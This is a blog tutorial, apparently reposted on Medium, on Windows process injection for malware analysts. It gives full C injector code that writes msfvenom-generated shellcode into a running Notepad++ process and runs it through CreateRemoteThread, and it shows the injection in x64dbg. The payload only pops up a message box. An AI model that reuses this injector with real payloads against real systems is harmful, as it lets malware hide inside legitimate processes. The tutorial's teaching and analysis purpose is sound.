Sitemap
StackZero

StackZero

I have a passion for sharing my knowledge and helping others stay safe online. I just want to share tips and advice useful for me.

Process Injection By Example: The Complete Guide — StackZero

8 min readJan 24, 2024

--

Press enter or click to view image in full size

The full article was originally published at https://www.stackzero.net/process-injection-by-example/

The Aim of This Article

This article seeks to demystify process injection, explaining how it works and why malware developers use it so widely. We will delve into code analysis of a practical and minimal example. We aim to equip malware analysts with the knowledge to identify and combat this prevalent threat.

It will be a toy example that you will never see in the real world, due to the ease with which it would be detected.

Stay with us as we explore the intricate world of process injection, uncovering the strategies used by cybercriminals and the countermeasures essential for robust cyber defence.

Process Injection At a High Level

This technique consists of 5 steps doable in several ways:

  1. Process Enumeration: Initially, we enumerate all running processes to locate the target process for injection.
  2. Memory Allocation: Next, we allocate memory within the target process’s address space specifically for hosting our payload.
  3. Writing the Payload: Following allocation, we’re writing the payload into the newly allocated memory region within the target process.
  4. Adjusting Memory Permissions: We then modify the memory permissions to make the payload executable. It’s important to note that setting the memory to PAGE_EXECUTE_READWRITE can often trigger more defensive mechanisms, hence a more cautious approach is generally PAGE_EXECUTE_READ.
  5. Executing the Payload: Finally, we create a remote thread within the target process, initiating the malicious code.
Press enter or click to view image in full size

Process Enumeration: The Starting Point

CreateToolhelp32Snapshot: We use CreateToolhelp32Snapshot for process enumeration. This method is simple and easy to grasp, ideal for educational purposes. While it might trigger some defence systems due to its common use in malicious activities, its clarity in illustrating the process makes it a fitting choice for our discussion.

Memory Allocation: Securing Space for Malware

VirtualAllocEx: Once you identify a target process, the next step is to allocate memory within that process’s space. This is where VirtualAllocEx comes into play. It reserves a region of memory within the virtual address space of the target process, setting the stage for the malicious code and injecting it. This function is crucial as it determines where the code will reside and ensures the allocation of sufficient space.

Memory Modification: Planting the Malicious Code

WriteProcessMemory: After securing memory space, the next move is to write the malicious code into this newly allocated area. This is achieved through WriteProcessMemory, a function that copies the code from the attacker's process into the allocated space in the target process. This step is delicate and requires precision, as any error in writing the code could lead to detection or failure of the injection.

Altering Memory Protections: Setting the Stage for Execution

VirtualProtectEx: Following the successful placement of the code, the memory protection of the allocated space needs to be modified to execute the code. VirtualProtectEx changes the memory protection of the allocated region, typically to PAGE_EXECUTE_READ, allowing the code to be executed. This step is vital for transitioning the injected code from a dormant state to an active one, ready for execution.

Remote Thread Creation: Activating the Malware

CreateRemoteThread: The final step in the process injection is creating a new thread within the target process. CreateRemoteThread is used for this purpose, initiating the execution of the malicious code within the target process's context. This is the culmination of the injection process, where the malware becomes operational, executing under the guise of a legitimate process.

Sure, let’s delve into a more detailed explanation of the code, which demonstrates the process injection technique in a Windows environment.

Getting The Shellcode

Before diving into process injection, it’s essential to first obtain the shellcode we’ll use. In this case, we’ll generate the shellcode using , just as we did in the previous article on StackZero.

But this time, we’re going to use a message box payload (always remember to get the right payload in order to avoid crashing the target process, in this case we are targeting a 64-bit process)

$ msfvenom -p windows/x64/messagebox TEXT='Hacked!' TITLE='Your Have Been Hacked' -f c

-p windows/x64/messagebox: This option specifies the payload to generate. In this case, it's windows/x64/messagebox, which means you're generating shellcode for opening a message box on a 64-bit Windows system.

--format c: This option specifies the output format for the generated shellcode. In this case, it's set to c, which means the output will be in C programming language format.

TEXT='Hacked!': This part of the command specifies the text to put inside the message box.

TITLE='Your Have Been Hacked': This option specifies the title of the message box.

Get StackZero’s stories in your inbox

Join Medium for free to get updates from this writer.

This step is a crucial foundation for what follows, setting the stage for a deeper understanding of the process injection technique.

Detailed Code Breakdown

Process Enumeration and Opening

HANDLE ProcessEnumerateAndSearch(PWCHAR ProcessName)
{
HANDLE hSnapshot;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe = { .dwSize = sizeof(PROCESSENTRY32) };

;
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL)) == INVALID_HANDLE_VALUE)
{
printf("[X] CreateToolhelp32Snapshot has failed with error %d", GetLastError());
}

if (Process32First(hSnapshot, &pe) == FALSE)
{
printf("[X] Process32First has failed with error %d", GetLastError());
}

do {

if (wcscmp(pe.szExeFile, ProcessName) == 0)
{

if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID)) == NULL)
{
printf("[X] OpenProcess has failed with error %d", GetLastError());
break;
}
else
{
printf("Process PID: %d has been opened", pe.th32ProcessID);
break;
}
}

} while (Process32Next(hSnapshot, &pe));
return hProcess;
}
  • This function enumerates all running processes using CreateToolhelp32Snapshot and iterates through them with Process32First and Process32Next.
  • It compares each process’s executable name (pe.szExeFile) with the provided ProcessName.
  • If a match is found, it opens the process with OpenProcess for all access rights.

Injecting the Shellcode

BOOL InjectShellcode(HANDLE hProcess, unsigned char* payload, SIZE_T dwSize )
{
LPVOID lpPayloadAddress;
SIZE_T dwNumberOfWrittenChars;
DWORD dwOldProtect;

printf("Allocating Memory: %d bytes \n", dwSize);
if ((lpPayloadAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) == NULL)
{
printf("[X] VirtualAllocEx has failed with error %d\n", GetLastError());
return FALSE;

}

printf("Memory Successfully Allocated at addr: %p\n", lpPayloadAddress);
getchar();

if ((!WriteProcessMemory(hProcess, lpPayloadAddress, payload, dwSize, &dwNumberOfWrittenChars)) || dwNumberOfWrittenChars != dwSize)
{
printf("[X] WriteProcessMemory has failed with error %d", GetLastError());
return FALSE;
}
printf("Process Memory successfully allocated");
if (VirtualProtectEx(hProcess, lpPayloadAddress, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect) == 0)
{
printf("[X] VirtualProtectEx has failed with error %d", GetLastError());
return FALSE;
}

if(CreateRemoteThread(hProcess, NULL, NULL, lpPayloadAddress, NULL, NULL, NULL) == NULL)

{
printf("[X] CreateRemoteThread has failed with error %d", GetLastError());
return FALSE;
}

return TRUE;
}
  • This function injects the shellcode into the target process.
  • VirtualAllocEx allocates memory in the target process.
  • WriteProcessMemory writes the payload into the allocated memory.
  • VirtualProtectEx changes the protection of the allocated memory to the executable.
  • CreateRemoteThread creates a thread in the target process to execute the payload.

Main Function

int main()
{
HANDLE hTarget;
size_t payload_size = 298;
unsigned char payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x06\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x48\x61\x63\x6b\x65\x64\x21\x00\x59\x6f\x75\x72\x20"
"\x48\x61\x76\x65\x20\x42\x65\x65\x6e\x20\x48\x61\x63\x6b"
"\x65\x64\x00";





hTarget = ProcessEnumerateAndSearch(L"notepad++.exe");
InjectShellcode(hTarget, payload, payload_size);
}
  • The main function is the entry point of the program.
  • It defines the payload (malicious code) and targets a specific process, in this case, “notepad++.exe”.
  • The ProcessEnumerateAndSearch function is used to find and open the target process.
  • InjectShellcode is called to perform the actual process injection.

This code provides a straightforward example of process injection, demonstrating the sequence of steps necessary to perform this technique. Each function plays a crucial role in the overall operation, from locating the target process to executing the injected code.

#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
#include <errors.h>

HANDLE ProcessEnumerateAndSearch(PWCHAR ProcessName)
{
HANDLE hSnapshot;
HANDLE hProcess = NULL;
PROCESSENTRY32 pe = { .dwSize = sizeof(PROCESSENTRY32) };

;
if ((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL)) == INVALID_HANDLE_VALUE)
{
printf("[X] CreateToolhelp32Snapshot has failed with error %d", GetLastError());
}

if (Process32First(hSnapshot, &pe) == FALSE)
{
printf("[X] Process32First has failed with error %d", GetLastError());
}

do {

if (wcscmp(pe.szExeFile, ProcessName) == 0)
{

if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID)) == NULL)
{
printf("[X] OpenProcess has failed with error %d", GetLastError());
break;
}
else
{
printf("Process PID: %d has been opened", pe.th32ProcessID);
break;
}
}

} while (Process32Next(hSnapshot, &pe));
return hProcess;
}


BOOL InjectShellcode(HANDLE hProcess, unsigned char* payload, SIZE_T dwSize )
{
LPVOID lpPayloadAddress;
SIZE_T dwNumberOfWrittenChars;
DWORD dwOldProtect;

printf("Allocating Memory: %d bytes \n", dwSize);
if ((lpPayloadAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) == NULL)
{
printf("[X] VirtualAllocEx has failed with error %d\n", GetLastError());
return FALSE;

}

printf("Memory Successfully Allocated at addr: %p\n", lpPayloadAddress);
getchar();

if ((!WriteProcessMemory(hProcess, lpPayloadAddress, payload, dwSize, &dwNumberOfWrittenChars)) || dwNumberOfWrittenChars != dwSize)
{
printf("[X] WriteProcessMemory has failed with error %d", GetLastError());
return FALSE;
}
printf("Process Memory successfully allocated");
if (VirtualProtectEx(hProcess, lpPayloadAddress, dwSize, PAGE_EXECUTE_READWRITE, &dwOldProtect) == 0)
{
printf("[X] VirtualProtectEx has failed with error %d", GetLastError());
return FALSE;
}

if(CreateRemoteThread(hProcess, NULL, NULL, lpPayloadAddress, NULL, NULL, NULL) == NULL)

{
printf("[X] CreateRemoteThread has failed with error %d", GetLastError());
return FALSE;
}

return TRUE;
}

int main()
{
HANDLE hTarget;
size_t payload_size = 298;
unsigned char payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x06\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x48\x61\x63\x6b\x65\x64\x21\x00\x59\x6f\x75\x72\x20"
"\x48\x61\x76\x65\x20\x42\x65\x65\x6e\x20\x48\x61\x63\x6b"
"\x65\x64\x00";





hTarget = ProcessEnumerateAndSearch(L"notepad++.exe");
InjectShellcode(hTarget, payload, payload_size);
}

Proof Of Injection

To verify the success of a process injection, initiate by looking at the memory dump in the target and incorporating a printf statement within the injector code.
This step is crucial for real-time monitoring.

  • Begin by compiling your code.
  • Then, launch Notepad++ — our chosen target application — as the injection process specifically hinges on its active instance.

Subsequently, execute your injector program. It will pause execution, displaying the memory address where the injection has occurred.

Press enter or click to view image in full size

Next, launch x64dbg and attach it to the Notepad++ (ALT+A) process for in-depth analysis.

At this juncture, check the memory address (CTRL+G) in the memory dump section of x64dbg. This action is pivotal for observing the behaviour of the injected code.

Press enter or click to view image in full size

Finally, resume the execution of your injector. At this point, you should observe the shellcode present within the memory of the target process, Notepad++. This confirms the successful injection.

Press enter or click to view image in full size

That perfectly matches with our payload:

       "\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\xfe\x00\x00\x00\x3e"
"\x4c\x8d\x85\x06\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2\x56\xff"
"\xd5\x48\x61\x63\x6b\x65\x64\x21\x00\x59\x6f\x75\x72\x20"
"\x48\x61\x76\x65\x20\x42\x65\x65\x6e\x20\x48\x61\x63\x6b"
"\x65\x64\x00";

Conclusion

In conclusion, process injection is a sophisticated technique in cyber threats, skillfully concealing malware within legitimate processes. Understanding this method is vital for malware analysts and cybersecurity professionals, as it equips them to detect better and counter such elusive threats. Our exploration, from generating shellcode with msfvenom to executing it in a remote process, offers a practical insight into the mechanics of process injection. This knowledge is not just theoretical but an essential part of the toolkit for those on the front lines of digital security. As cyber threats evolve, so must our strategies and understanding.

Keep following for more insights and deep dives about all aspects of cybersecurity.

Originally published at https://www.stackzero.net on January 24, 2024.

--

StackZero
StackZero

Written by StackZero

I have a passion for sharing my knowledge and helping others stay safe online. I just want to share tips and advice useful for me.